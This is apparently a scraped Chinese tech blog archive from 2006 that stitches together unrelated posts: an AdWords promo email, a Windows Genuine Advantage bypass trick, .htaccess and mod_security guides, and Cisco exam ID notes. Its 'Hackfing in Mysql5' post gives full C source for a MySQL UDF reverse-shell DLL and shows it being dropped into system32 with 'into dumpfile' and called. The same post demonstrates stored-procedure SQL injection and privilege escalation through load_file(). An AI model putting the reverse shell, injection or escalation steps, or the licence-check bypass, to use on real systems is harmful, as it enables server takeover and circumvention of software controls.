Open the AdWords activation email that’s sent to you and log in to your AdWords account.
Click the My Account tab and click Billing Preferences.
Enter the following 12 digit number in the Promotional Code field:

575622256335


Click Continue to enter the rest of your information, then click Save and Activate.
From your AdWords account, click the Analytics tab. When prompted for your unique Google Analytics invitation code, enter:

IFAU-M2L2G-BKRA
If you already have an AdWords account, we ask that you not create a new AdWords account . Doing so will link the new AdWords account to Google Analytics instead of the AdWords account that you really want to track. Once linked, you cannot change to another account, so you’ll forever disable your ability to track your original AdWords account.


——————————————————————————–

For additional questions about e-commerce, goals, filters, tracking, and setup questions, please visit the Analytics Help Center. If you’re unable to find an answer to your question on our site, feel free to reply to this email. Once you’ve installed Google Analytics on your web pages, we invite you to explore the content in our Conversion University for ideas on best practices and useful techniques.

Sincerely,

The Google Analytics Team

——————————————————————————–

Terms and Conditions: Promotional credit must be applied to a new AdWords account within 15 days of creating the AdWords account and is valid only for new Google AdWords customers with self-managed signup. Advertisers will be charged for advertising that exceeds the promotional credit. Advertisers will need to suspend their ads if they do not wish to receive additional charges beyond the free credit amount. Subject to ad approval, valid registration and acceptance of the Google AdWords Program standard terms and conditions. The promotional credit is non-transferable and may not be sold or bartered. Offer may be revoked at any time for any reason by Google Inc. One promotional credit per customer. Advertisers with self-managed signup accounts will be charged an activation fee as determined by this table – https://adwords.google.com/select/AfpoFinder. Expires 07/05/2006

难道有绕过Windows正版验证新方法

0

分类 : 技术文摘 | 发表时间 28-03-2006

如果你的Windows安装出现问题,或者某些难以启齿的原因让你无法从Windows服务器获得更新,下面的小方法也许能够帮助你。

   首先进入微软Update网站,在选择“Express”(快速)/“Custom”(自定义)安装的时候,微软会对你的CDKey进行验证,如果没有通过,则会显示“Invalid CD Key”(非法CD key)类似的警告。

   不过,如果你还是想要进行Windows升级,就先在地址栏键入javascript:void(window.g_sDisableWGACheck=’all’),然后按回车。  

   这时你再选择“快速”/“自定义”,就不会有弹出警告窗口。  

   另外,如果你不慎输入了错误的CD Key,并想要进行更改,可以按照如下程序操作:  

   1.修改注册表路径:HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\wpaevents

   键名:OOBETimer  

   双击,修改一两个字母,就可以反激活你的Windows  

   2.进入开始-运行,键入%systemroot%\system32\oobe\msoobe.exe /a,回车

   点击:电话客户支持

   点击:下一步

   点击:更换产品KEY 

   3.小心重新输入你的产品KEY,然后点击更新  

   重启后你的新注册KEY就重新激活了。当然,如果你的CD KEY真实有效,以后进行Windows Update就不用之前那么麻烦了。  

   另:鉴于笔者使用的是正版Windows,所以对第一步绕过验证无法进行验证,有兴趣的可以直接查询原文。  

   http://www.tech-recipes.com/windows_tips1319.html


htaccess文件使用大全

0

分类 : 美文美景 | 发表时间 17-03-2006

Apache系统中的.htaccess文件(或者”分布式配置文件”提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

  子目录中的指令会覆盖更高级目录或者主服务器配置文件中的指令。

  .htaccess必须以ASCII模式上传,最好将其权限设置为644。

  错误文档的定位

  常用的客户端请求错误返回代码:
  401 Authorization Required
  403 Forbidden
  404 Not Found
  405 Method Not Allowed
  408 Request Timed Out
  411 Content Length Required
  412 Precondition Failed
  413 Request Entity Too Long
  414 Request URI Too Long
  415 Unsupported Media Type

  常见的服务器错误返回代码:
  500 Internal Server Error

  用户可以利用.htaccess指定自己事先制作好的错误提醒页面。一般情况下,人们可以专门设立一个目录,例如errors放置这些页面。然后再.htaccess中,加入如下的指令:

  ErrorDocument 404 /errors/notfound.html
  ErrorDocument 500 /errors/internalerror.html

  一条指令一行。上述第一条指令的意思是对于404,也就是没有找到所需要的文档的时候得显示页面为/errors目录下的notfound.html页面。不难看出语法格式为:

  ErrorDocument 错误代码 /目录名/文件名.扩展名

  如果所需要提示的信息很少的话,不必专门制作页面,直接在指令中使用HTML号了,例如下面这个例子:

  ErrorDocument 401 “你没有权限访问该页面,请放弃!”

  文档访问的密码保护

  要利用.htaccess对某个目录下的文档设定访问用户和对应的密码,首先要做的是生成一个.htpasswd的文本文档,例如:

  zheng:y4E7Ep8e7EYV

  这里密码经过加密,用户可以自己找些工具将密码加密成.htaccess支持的编码。该文档最好不要放在www目录下,建议放在www根目录文档之外,这样更为安全些。

  有了授权用户文档,可以在.htaccess中加入如下指令了:

  AuthUserFile .htpasswd的服务器目录
  AuthGroupFile /dev/null (需要授权访问的目录)
  AuthName EnterPassword
  AuthType Basic (授权类型)

  require user wsabstract (允许访问的用户,如果希望表中所有用户都允许,可以使用 require valid-user)

  注,括号部分为学习时候自己添加的注释

  拒绝来自某个IP的访问

  如果我不想某个政府部门访问到我的站点的内容,那可以通过.htaccess中加入该部门的IP而将它们拒绝在外。

  例如:

  order allow,deny
  deny from 210.10.56.32
  deny from 219.5.45.
  allow from all

  第二行拒绝某个IP,第三行拒绝某个IP段,也就是219.5.45.0~219.2.45.255

  想要拒绝所有人?用deny from all好了。不止用IP,也可以用域名来设定。

  保护.htaccess文档

  在使用.htaccess来设置目录的密码保护时,它包含了密码文件的路径。从安全考虑,有必要把.htaccess也保护起来,不让别人看到其中的内容。虽然可以用其他方式做到这点,比如文档的权限。不过,.htaccess本身也能做到,只需加入如下的指令:

  order allow,deny
  deny from all

  URL转向

  我们可能对网站进行重新规划,将文档进行了迁移,或者更改了目录。这时候,来自搜索引擎或者其他网站链接过来的访问就可能出错。这种情况下,可以通过如下指令来完成旧的URL自动转向到新的地址:

  Redirect /旧目录/旧文档名 新文档的地址

  或者整个目录的转向:

  Redirect 旧目录 新目录

  改变缺省的首页文件

  一般情况下缺省的首页文件名有default、index等。不过,有些时候目录中没有缺省文件,而是某个特定的文件名,比如在pmwiki中是pmwiki.php。这种情况下,要用户记住文件名来访问很麻烦。在.htaccess中可以轻易的设置新的缺省文件名:

  DirectoryIndex 新的缺省文件名

  也可以列出多个,顺序表明它们之间的优先级别,例如:

  DirectoryIndex filename.html index.cgi index.pl default.htm

  防止盗链

  如果不喜欢别人在他们的网页上连接自己的图片、文档的话,也可以通过htaccess的指令来做到。

  所需要的指令如下:

  RewriteEngine on
  RewriteCond %{ HTTP_REFERER } !^$
  RewriteCond %{ HTTP_REFERER } !^http://(www.)?mydomain.com/.*$ [NC]
  RewriteRule .(gif&line;jpg)$ – [F]

  如果觉得让别人的页面开个天窗不好看,那可以用一张图片来代替:

  RewriteEngine on
  RewriteCond %{ HTTP_REFERER } !^$
  RewriteCond %{ HTTP_REFERER } !^http://(www.)?mydomain.com/.*$ [NC]
  RewriteRule .(gif&line;jpg)$ http://www.mydomain.com/替代图片文件名 [R,L]

Cisco认证考试中几个ID号码的含义和作用

0

分类 : 娱乐休闲 | 发表时间 19-02-2006

Cisco认证注册和考试后几个ID号码的含义和作用是什么?Cisco ID,Testing ID,Candidate ID,Registration ID,Validation ID的区别是什么?
  
  Cisco ID
  
  Cisco ID是Cisco公司在考生完成第一次考试后生成的号码,以CSCO字母开头,后面附加8个数字的字符串,Cisco ID将出现在考生的每一张证书上。
  Cisco ID可以用来登陆到Cisco认证跟踪系统,每个考生只有一个Cisco ID。
  
  Cisco认证跟踪系统
  https://www.certmanager.net/cisco/login.aspx
  
  Candidate ID
  
  Candidate ID显示在成绩单上,在考试结束后并且成绩传送后Candidate ID和Testing ID、Cisco ID一样有用。
  Candidate ID在考生第一次考试完成的成绩单上可能会显示为Pending。
  
  Testing ID
  
  Testing ID是Cisco的考试合作伙伴Prometric或VUE生成的,通常是7到9个字符。
  Testing ID也可以用来登录Cisco认证考试跟踪系统。
  
  Registration ID
  
  Registration ID是每门考试的唯一号码,由考试合作伙伴(例如Prometric)生成的,Registration ID只显示在考试成绩单上。
  Registration ID还可以用来第一次登录Cisco考试跟踪系统时使用,
  
  Validation ID
  
  Validation ID是在所获得证书左下方16个字符的字符串。
  Validation ID可以让第三方通过认证验证工具在Cisco网站上检验认证是否真实有效。
  
  认证检验地址
  http://ciscocertificates-gip.com/verify.cfm

Hackfing in Mysql5

0

分类 : 网络日志 | 发表时间 05-02-2006

Author:SuperHei_[At]_ph4nt0m.org
Blog:http://superhei.blogbus.com/
Team:http://www.ph4nt0m.org
Data: 2006-01-29

Mysql5增加很多新的功能,开始支持:存储过程、触发器、视图、信息架构视图等新特。可以说这些都是发展的必然,但是新的东西的出来,必定也会带来新的安全问题,如Mysql4开始支持union查询、子查询。这直接导致mysql注射更容易、广泛。mysql5的新功能会给安全带来什么新的东西呢?下面我给大家介绍下mysql5在安全方面的特点:

一、password authentication

mysql5的password()和mysql4.1一样,采用的基于SHA1的41位hash:

mysql> select password(‘mypass’);
+——————————————-+
| password(‘mypass’) |
+——————————————-+
| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
+——————————————-+
1 row in set (0.00 sec)

在mysql4.1以前的password hashes是基于16位md5:

mysql> SELECT PASSWORD(‘mypass’);
+——————–+
| PASSWORD(‘mypass’) |
+——————–+
| 6f8c114b58f2ce9e |
+——————–+

当使用低版本的Client连接时,回出现错误:Client does not support authentication protocol,为了解决这个问题,mysql5提供了一个old_password(),就相当于mysql4.1以前的的password():

mysql> select old_password(‘mypass’);
+————————+
| old_password(‘mypass’) |
+————————+
| 6f8c114b58f2ce9e |
+————————+
1 row in set (0.09 sec)

二、数据字典(information_schema)

和mssql、oracle、db2等数据库一样,mysql5提供了一个系统数据库:information_schema
mysql> use information_schema;
Database changed
mysql> show tables;
+—————————————+
| Tables_in_information_schema |
+—————————————+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| KEY_COLUMN_USAGE |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| VIEWS |
| USER_PRIVILEGES |
+—————————————+
16 rows in set (0.17 sec)

在这个数据库里我们可以得到很多信息,包括当前用户权限:
mysql> select * from information_schema.USER_PRIVILEGES;
+———–+—————+—————-+————–+
| GRANTEE | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE |
+———–+—————+—————-+————–+
| ‘KK1′@’%’ | NULL | USAGE | NO |
+———–+—————+—————-+————–+
1 row in set (0.02 sec)

当前用户权限下可以访问的数据库,表,列名(这个在sql注射中,导致直接暴区数据库,表列名,再也不要‘暴力’咯):

mysql> select TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME from information_schema.STATIS
TICS;
+————–+————+————-+
| TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME |
+————–+————+————-+
| in | article | articleid |
| in | user | userid |
+————–+————+————-+
2 rows in set (0.02 sec)

还可以得到当前用户权限下的VIEWS,ROUTINES等,关于ROUTINES我们在下面的‘存储过程’里详细介绍。

[ps:注意是‘当前用户权限’如果是root,那么太可以得到所有的数据库名称以及表列名等等]

三、存储过程(Stored Procedures)

‘存储过程’的使用是mysql5的一个闪光点,在带来方便的同时,它也带来了新的安全隐患:如sql注射,用户权限提升等等。

D:\mysql5\bin>mysql -uroot -p
Enter password: ******
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 4 to server version: 5.0.18

Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.

mysql> use in
Database changed
mysql> delimiter //
mysql> CREATE PROCEDURE test(id INT)
-> BEGIN
-> SELECT * FROM in.USER WHERE USERID=ID;
-> END//
Query OK, 0 rows affected (0.08 sec)

mysql> delimiter ;

mysql> call test(1);
+——–+———-+———-+
| userid | username | password |
+——–+———-+———-+
| 1 | angel | mypass |
+——–+———-+———-+
1 row in set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

上面我们使用root在数据库in里创建了一个名为test的存储过程。

a、SQL Injection

mysql> call test(1 and 1=1);
+——–+———-+———-+
| userid | username | password |
+——–+———-+———-+
| 1 | angel | mypass |
+——–+———-+———-+
1 row in set (0.00 sec)

Query OK, 0 rows affected (0.01 sec)

mysql> call test(1 and 1=2);
Empty set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

b、跨权限
存储过程是继承创建者的权限的,如果存储过程是root创建的,当其他普通用户使用这个存储过程时,导致跨权限攻击:

mysql> grant SELECT, INSERT, UPDATE, DELETE, EXECUTE
-> ON `IN`.*
-> TO ‘KK1′@’%’
-> IDENTIFIED BY ‘OBSCURE’;
Query OK, 0 rows affected (0.03 sec)

上面建立一个KK1的用户只在数据库in中有SELECT, INSERT, UPDATE, DELETE, EXECUTE权限,使用KK1登陆:
D:\mysql5\bin>mysql -uKK1 -p
Enter password: ******
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 5 to server version: 5.0.18

Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.

mysql> select ROUTINE_SCHEMA,ROUTINE_NAME,DEFINER,ROUTINE_DEFINITION from inform
ation_schema.ROUTINES;
+—————-+————–+—————-+——————–+
| ROUTINE_SCHEMA | ROUTINE_NAME | DEFINER | ROUTINE_DEFINITION |
+—————-+————–+—————-+——————–+
| in | test | root@localhost | |
| in | tt | root@localhost | |
+—————-+————–+—————-+——————–+
2 rows in set (0.01 sec)

我们可以得到KK1可以使用存储过程in.test 其创建者为root@localhost。不过KK1没有权限得到ROUTINE_DEFINITION 就是in.test的代码。下面看看跨权限:

mysql> call in.test(1 and length(load_file(‘c:/boot.ini’))>0);
+——–+———-+———-+
| userid | username | password |
+——–+———-+———-+
| 1 | angel | mypass |
+——–+———-+———-+
1 row in set (0.00 sec)

Query OK, 0 rows affected (0.01 sec)

mysql> call in.test(1 and length(load_file(‘c:/boot.ini’))<0);
Empty set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

没有file权限的KK1可以使用in.test使用load_file(),我们还可以直接对mysql.user进行select,如果存储过程可以updata,insert注射,那么我们可以普通用户直接通过注射来修改mysql.user里的数据。

四、User-Defined Function

[ps:下面都是基于win系统] r/>
mysql5的udf在格式和安全方面做一些新的改变:
1、格式要求更加严格[xxx_init()初始化函数]
对于没有xxx_init()初始化函数 在以前的版本是可以使用的,但是在mysql5下会出现Can’t find function ‘xxx_init’ in library的错误,如:

mysql> create function ExitProcess returns integer soname ‘kernel32′;
ERROR 1127 (HY000): Can’t find function ‘ExitProcess_init’ in library

下面给出的代码是好友云舒写的,符合mysql5的udf格式要求可以在mysql5下使用:

/*******************************
* File: MySQL_Shell.cpp
* Author: 云舒(wustyunshu at hotmail dot com)
* Date: 2005-12-12
********************************
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>

#define MAKE_DLL /* Build dll here */

#include “MySQL_Shell.h”

#pragma comment( lib, “ws2_32″ )

#define BUFFER_SIZE 1024

////////////////////////////////
//函数原型
/////////////////////////////////

BOOL StartWith( char *, char * );
void LogMsg( char * );

//////////////////////////////////
//MySQL模块初始化函数
////////////////////////////////

LIB my_bool shell_init( UDF_INIT *init, UDF_ARGS *args, char *message )
{
if ( args->arg_count != 2 )
{
strcpy( message, “Shell() requires two arguments” );
return 1;
}

if ( (args->arg_type[0] != STRING_RESULT) || (args->arg_type[1] != STRING_RESULT) )
{
strcpy( message, “Shell() requires two string arguent” );
return 1;
}

return 0;
}

////////////////////////////////
//MySQL模块主功能函数,反向连接提供shell
/////////////////////////////////

LIB int shell( UDF_INIT *init, UDF_ARGS *args, char *is_null, char *error )
{
SOCKET sock;
SOCKADDR_IN sin;
int ret;

// Create socket
sock = socket( AF_INET, SOCK_STREAM, 0 );
if ( sock == INVALID_SOCKET )
{
strcpy( error, “Create socket error” );

return -1;
}

sin.sin_family = AF_INET;
sin.sin_port = htons( atoi(args->args[1]) );
sin.sin_addr.s_addr = inet_addr( args->args[0] );

//connect to remote server
ret = connect( sock, (struct sockaddr *)&sin, sizeof(sin) );
if( ret == SOCKET_ERROR )
{
strcpy( error, “Connect error” );

return -1;
}

SECURITY_ATTRIBUTES sa;

sa.nLength = sizeof( sa );
sa.lpSecurityDescriptor = 0;
sa.bInheritHandle = TRUE;

HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

ret=CreatePipe( &hReadPipe1, &hWritePipe1, &sa, 0 );
ret=CreatePipe( &hReadPipe2, &hWritePipe2, &sa, 0 );

STARTUPINFO si;
ZeroMemory( &si, sizeof(si) );

GetStartupInfo( &si );

si.cb = sizeof( si );
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;

PROCESS_INFORMATION processInfo;

char cmdLine[] = “cmd.exe”;

ZeroMemory( &processInfo , sizeof(PROCESS_INFORMATION) );
ret = CreateProcess(NULL, cmdLine, NULL,NULL,1,0,NULL,NULL,&si,&processInfo);

char buff[BUFFER_SIZE] = { 0 };
unsigned long bytesRead = 0;
int i = 0;

while( TRUE )
{
memset( buff, 0, BUFFER_SIZE );

ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, 0, 0 );

for(i = 0; i < 5 && bytesRead == 0; i++)
{
Sleep(100);
ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, NULL, NULL );
}

if( bytesRead )
{
ret = ReadFile( hReadPipe1, buff, bytesRead, &bytesRead, 0 );
if( !ret ) break;

ret = send( sock, buff, bytesRead, 0 );
if( ret <= 0 ) break;
}
else
{
bytesRead = recv( sock, buff, BUFFER_SIZE, 0 );

if( bytesRead <= 0 ) break;

if( StartWith( buff , “exit” ) == TRUE ) break;

ret = WriteFile( hWritePipe2, buff, bytesRead, &bytesRead, 0 );
if( !ret ) break;
}
}

TerminateProcess( processInfo.hProcess, 0 );

CloseHandle( hReadPipe1 );
CloseHandle( hReadPipe2 );
CloseHandle( hWritePipe1 );
CloseHandle( hWritePipe2 );

closesocket( sock );

return 0;
}

///////////////////////////////////
//判断字符串是否以另一个字符串开头
////////////////////////////////////

BOOL StartWith( char *buf1, char *buf2 )
{
int len = strlen(buf2);

if( memcmp( buf1,buf2,len ) == 0 )
{
return TRUE;
}
return FALSE;
}

/////////////////////////////////////
//记录日志信息,调试用
///////////////////////////////////

void LogMsg( char *msg )
{
FILE *fp;

fp = fopen( “C:\mysql.txt”, “a+” );

fputs( msg, fp );

fclose( fp );
}

/********************************
* File: MySQL_Shell.h
* Author: 云舒(wustyunshu at hotmail dot com)
* Date: 2005-12-12
*********************************

#ifdef MAKE_DLL
#define LIB extern “C” __declspec(dllexport)
#else
#define LIB extern “C” __declspec(dllimport)
#endif

#define MYSQL_ERRMSG_SIZE 512 /* Max buffer size */

typedef char my_bool;

enum Item_result
{
STRING_RESULT,REAL_RESULT,INT_RESULT
};

typedef struct st_udf_args
{
unsigned int arg_count; /* Number of arguments */
enum Item_result *arg_type; /* Pointer to item_results */
char **args; /* Pointer to argument */
unsigned long *lengths; /* Length of string arguments */
char *maybe_null; /* Set to 1 for all maybe_null args */
} UDF_ARGS;

typedef struct st_udf_init
{
my_bool maybe_null; /* 1 if function can return NULL */
unsigned int decimals; /* for real functions */
unsigned int max_length; /* For string functions */
char *ptr; /* free pointer for function data */
char const_item; /* 0 if result is independent of arguments */
} UDF_INIT;

LIB my_bool shell_init( UDF_INIT *, UDF_ARGS *, char * );

LIB int shell( UDF_INIT *, UDF_ARGS *, char *, char * );

2、mysql5限制了udf对应的文件dll文件只可以放在system32目录下。
对于一般低权限的系统用户是没有对system32目录写权限的,在这样的情况下我们可以使用into dumpfile把dll文件放到system32来突破,具体如下:
mysql> use mysql;
Database changed
mysql> create table heige(line blob);
Query OK, 0 rows affected (0.50 sec)

mysql> insert into heige values(load_file(‘c:/udf.dll’));
Query OK, 1 row affected (0.08 sec)

mysql> select * from heige into dumpfile ‘c:/winnt/system32/heige.dll’;
Query OK, 1 row affected (0.18 sec)

mysql> create function shell returns integer soname ‘heige.dll’;
Query OK, 0 rows affected (0.07 sec)

mysql> select * from mysql.func;
+——-+—–+———–+———-+
| name | ret | dl | type |
+——-+—–+———–+———-+
| shell | 2 | heige.dll | function |
+——-+—–+———–+———-+
1 row in set (0.00 sec)

mysql> select shell(’127.0.0.1′,’1234′);
+—————————+
| shell(’127.0.0.1′,’1234′) |
+—————————+
| NULL |
+—————————+
1 row in set (0.97 sec)

五、参考
《MySQL 5.0 Reference Manual》 http://dev.mysql.com/doc/refman/5.0/en/
《Hackproofing MySQL》 http://www.ngssoftware.com/papers/HackproofingMySQL.pdf
《给mysql加个自定义函数(windows

使用mod_security加强Apache的安全性

0

分类 : 编码知识 | 发表时间 20-01-2006

作者: os
http://bbs.islab.org

目录:
一. 介绍
二. 准备
1. 需要的软件包
2. 下载和解压缩Apache HTTP软件包.
3. 下载和解压缩modsecurity软件包.
4. 下载modsecurity规则文件
三. 安装Apache和Modsecurity
1. 安装Apache
2. 安装Modsecurity
四. Modsecurity配置文件
五. 更多


一. 介绍
mod_security是一个集入侵检测和防御引擎功能的开源web应用安全程序(或web应用程序防火墙).
它以Apache Web服务器的模块方式运行, 目标是增强web应用程序的安全性, 防止web应用程序
受到已知或未知的攻击.

本文使用的系统是Redhat linux高级服务器版3, 推荐大家使用modsecurity的最新稳定发行版,
现在是1.8.7, 安装方式是通过DSO(动态共享对象)把mod_security集成到Apache Web Server.
(提示, 本文的步骤在其它linux发行版上也是适用的.)

二. 准备
1. 需要的软件包
1). apache的源代码包
下载地址:
http://apache.justdn.org/httpd/apache_1.3.33.tar.gz

2). mod_security的源代码包
下载地址:
http://www.modsecurity.org/download/modsecurity-1.8.7.tar.gz

3). mod_security基本规则
http://fedoranews.org/jorge/mod_security/mod_security.conf

2. 下载和解压缩Apache HTTP软件包.
建议从apache的官方网站获得可靠的apache HTTP软件包.
下载网址: http://apache.justdn.org/httpd/apache_1.3.33.tar.gz

1) 创建apache软件包存放的目录.
#mkdir -p /usr/local/src/webserver

2) 使用wget命令获得源代码包.
#wget http://apache.tarchive.com/httpd/apache_1.3.33.tar.gz
(如不能下载, 可直接通过浏览器保存或ftp上传到webserver目录)

3) 确认下载软件的完整性.
首先, 我们下载和检查分离的签名文件apache_1.3.33.tar.gz.md5, 然后进行
比较软件包和软件包md5签名文件的md5 checksum.

检查apache_1.3.33.tar.gz.md5内容
# cat apache_1.3.33.tar.gz.md5
MD5 (apache_1.3.33.tar.gz) = 3dfd2c3778f37a2dfc22b97417a61407

检查apache_1.3.33.tar.gz的md5 checksum
# md5sum apache_1.3.33.tar.gz
3dfd2c3778f37a2dfc22b97417a61407 apache_1.3.33.tar.gz

比较上面两个步骤的md5 checksum内容是一致的, 从而可以确认apache软件包
的完整性.

4) 解压缩源代码包, 在webserver目录下会生成一个新的目录apache_1.3.33
#tar zpxf apache_1.3.33.tar.gz

3. 下载和解压缩modsecurity软件包.
建议从modsecurity官方网站获得可靠的软件包.
下载网址: http://www.modsecurity.org/download/index.html

1) 使用wget命令获得源代码包.
#wget http://www.modsecurity.org/download/modsecurity-1.8.7.tar.gz
(如不能下载, 可直接通过浏览器保存或ftp上传到webserver目录)

# ls -al modsecurity-1.8.7.tar.gz
-rw-r–r– 1 root root 313004 Mar 5 23:47 modsecurity-1.8.7.tar.gz

# pwd
/usr/local/src/webserver

2) 确认下载软件的完整性.
首先, 我们下载和检查分离的签名文件modsecurity-1.8.7.tar.gz.md5, 然后进行
比较软件包和软件包md5签名文件的md5 checksum.

下载modsecurity的签名文件
#wget http://www.modsecurity.org/download/modsecurity-1.8.7.tar.gz.md5

检查modsecurity-1.8.7.tar.gz.md5内容
#cat modsecurity-1.8.7.tar.gz.md5
0dd48656e451c711358c097dc80e0369 modsecurity-1.8.7.tar.gz

检查modsecurity-1.8.7.tar.gz的md5 checksum
# md5sum modsecurity-1.8.7.tar.gz
0dd48656e451c711358c097dc80e0369 modsecurity-1.8.7.tar.gz

比较上面两个步骤的md5 checksum内容是一致的, 从而可以确认modsecurity软件包
的完整性.

3) 解压缩源代码包, 在webserver目录下会生成一个新的目录modsecurity-1.8.7
#tar zpxf modsecurity-1.8.7.tar.gz

4. 下载modsecurity规则文件
#cd /usr/local/src/webserver
#wget http://fedoranews.org/jorge/mod_security/mod_security.conf


三. 安装Apache和Modsecurity

1. 安装Apache

请参考文章:
在Redhat Linux 9上通过DSO方式搭建Apache HTTP服务器
http://bbs.islab.org/showthread.php?t=370

注: 在Red Hat 9上安装Apache的步骤亦可用其它系统上.

2. 安装Modsecurity

到modsecurity的apache 1.X 模块目录运行apxs(你必须要root权限才能运行下面命令).

#cd /usr/local/src/webserver/modsecurity-1.8.7/apache1

[root@reakosys apache1]# /www/bin/apxs -cia mod_security.c
gcc -DLINUX=22 -DHAVE_SET_DUMPABLE -I/usr/include/gdbm -DUSE_HSREGEX -fpic
-DSHARED_MODULE -I/www/include -c mod_security.c
gcc -shared -o mod_security.so mod_security.o
[activating module `security' in /www/conf/httpd.conf]
cp mod_security.so /www/libexec/mod_security.so
chmod 755 /www/libexec/mod_security.so
cp /www/conf/httpd.conf /www/conf/httpd.conf.bak
cp /www/conf/httpd.conf.new /www/conf/httpd.conf
rm /www/conf/httpd.conf.new

复制modsecurity规则文件到apache的conf目录
#cd /usr/local/src/webserver
#cp mod_security.conf /www/conf/

创建日志目录
#mkdir – /var/log/httpd

修改apache配置文件
#vi /www/conf/httpd.conf
在文件末尾添加
Include conf/mod_security.conf

注: 到此为止, httpd.conf文件已包含下面三行代码(1,2条为自动, 3条手动添加)
LoadModule security_module libexec/mod_security.so
AddModule mod_security.c
Include conf/mod_security.conf

然后重启你的Apache Web Server..
# apachectl restart
/usr/sbin/apachectl restart: httpd not running, trying to start
/usr/sbin/apachectl restart: httpd started

检查一下是否生成日志文件
# ls -al
total 8
drwxr-xr-x 2 root root 4096 May 22 21:29 .
drwxr-xr-x 10 root root 4096 May 22 21:02 ..
-rw——- 1 root root 0 May 22 21:18 audit_log
-rw——- 1 root root 0 May 22 21:18 modsec_debug_log

modsecurity的配置文件mod_security.conf位于apache的配置目录conf中, 日志文件
是/var/log/httpd/audit_log.

modsecurity配置文件包含了一些非常基础的规则设置, 这对于一般的站点而言是足够了.
如果你有什么特殊的需求, 更多可以参考下面的网址:
http://www.modsecurity.org/documentation/index.html

下面将介绍mod_security.conf配置文件.


四. Modsecurity配置文件


# Turn the filtering engine On or Off
SecFilterEngine On

分析每一个http请求

# Make sure that URL encoding is valid
SecFilterCheckURLEncoding On

URL编码确认

# Only allow bytes from this range
SecFilterForceByteRange 32 126

字节范围检查, 以有效防止stack overflow attacks(栈溢出攻击).

# The audit engine works independently and
# can be turned On of Off on the per-server or
# on the per-directory basis
SecAuditEngine RelevantOnly

有效解决apache日志对某个用户或攻击者信息记录的不足. 如果要
对某一个用户或攻击者发出的一个请求的详细记录, 可以访问
/var/log/httpd/audit_log文件.

# The name of the audit log file
SecAuditLog /var/log/httpd/audit_log

SecFilterDebugLog /var/log/httpd/modsec_debug_log
SecFilterDebugLevel 0

设置调试模式下的输出文件.

# Should mod_security inspect POST payloads
#SecFilterScanPO
ST On

# Action to take by default
SecFilterDefaultAction “deny,log,status:406″

设置特别的行动, 406为行动名称, 前面的三个为行动参数.

# Redirect user on filter match
#SecFilter xxx redirect:http://www.webkreator.com

# Execute the external script on filter match
#SecFilter yyy log,exec:/home/ivanr/apache/bin/report-attack.pl

# Simple filter
#SecFilter 111

# Only check the QUERY_STRING variable
#SecFilterSelective QUERY_STRING 222

# Only check the body of the POST request
#SecFilterSelective POST_PAYLOAD 333

# Only check arguments (will work for GET and POST)
#SecFilterSelective ARGS 444

# Test filter
#SecFilter “/cgi-bin/keyword”

# Another test filter, will be denied with 404 but not logged
# action supplied as a parameter overrides the default action
#SecFilter 999 “deny,nolog,status:404″

# Prevent OS specific keywords
#SecFilter /etc/password

# Prevent path traversal (..) attacks
SecFilter “\.\./”

阻止目录周游攻击.

# Weaker XSS protection but allows common HTML tags
SecFilter “<( |\n)*script"

对不安全的(跨站点脚本)XSS进行保护, 但允许普通的HTML标识.

# Prevent XSS atacks (HTML/javascript injection)
SecFilter “<(.|\n)+>“

防止XSS攻击 (HTML/javascript注射)

# Very crude filters to prevent SQL injection attacks
SecFilter “delete[[:space:]]+from”
SecFilter “insert[[:space:]]+into”
SecFilter “select.+from”

防止SQL注射攻击

# Require HTTP_USER_AGENT and HTTP_HOST headers
SecFilterSelective “HTTP_USER_AGENT|HTTP_HOST” “^$”

需要 HTTP_USER_AGENT和HTTP_HOST头.

# Forbid file upload
#SecFilterSelective “HTTP_CONTENT_TYPE” multipart/form-data

# Only watch argument p1
#SecFilterSelective “ARG_p1″ 555

# Watch all arguments except p1
#SecFilterSelective “ARGS|!ARG_p2″ 666

# Only allow our own test utility to send requests (or Mozilla)
#SecFilterSelective HTTP_USER_AGENT “!(mod_security|mozilla)”

# Do not allow variables with this name
#SecFilterSelective ARGS_NAMES 777

# Do now allow this variable value (names are ok)
#SecFilterSelective ARGS_VALUES 888

# Stop spamming through FormMail
# note the exclamation mark at the beginning
# of the filter – only requests that match this regex will
# be allowed
#
#SecFilterSelective “ARG_recipient” “!@webkreator.com$”
#

# when allowing upload, only allow images
# note that this is not foolproof, a determined attacker
# could get around this
#
#SecFilterInheritance Off
#SecFilterSelective POST_PAYLOAD “!image/(jpeg|bmp|gif)”
#


五. 更多

关于作者: os, 操作系统研究和安全工程师.
思蓝安全论坛是一个致力于linux安全的论坛. 欢迎技术交流.

原文出处: 思蓝安全论坛
http://bbs.islab.org/showthread.php?t=760

版权声明: 引用或转载, 请注明作者与出处. 并请保留本文的连接.

如有问题或错误请提交到:
hthttp://bbs.islab.org/showthread.php?t=760
__________________
Simplifying Linux Security
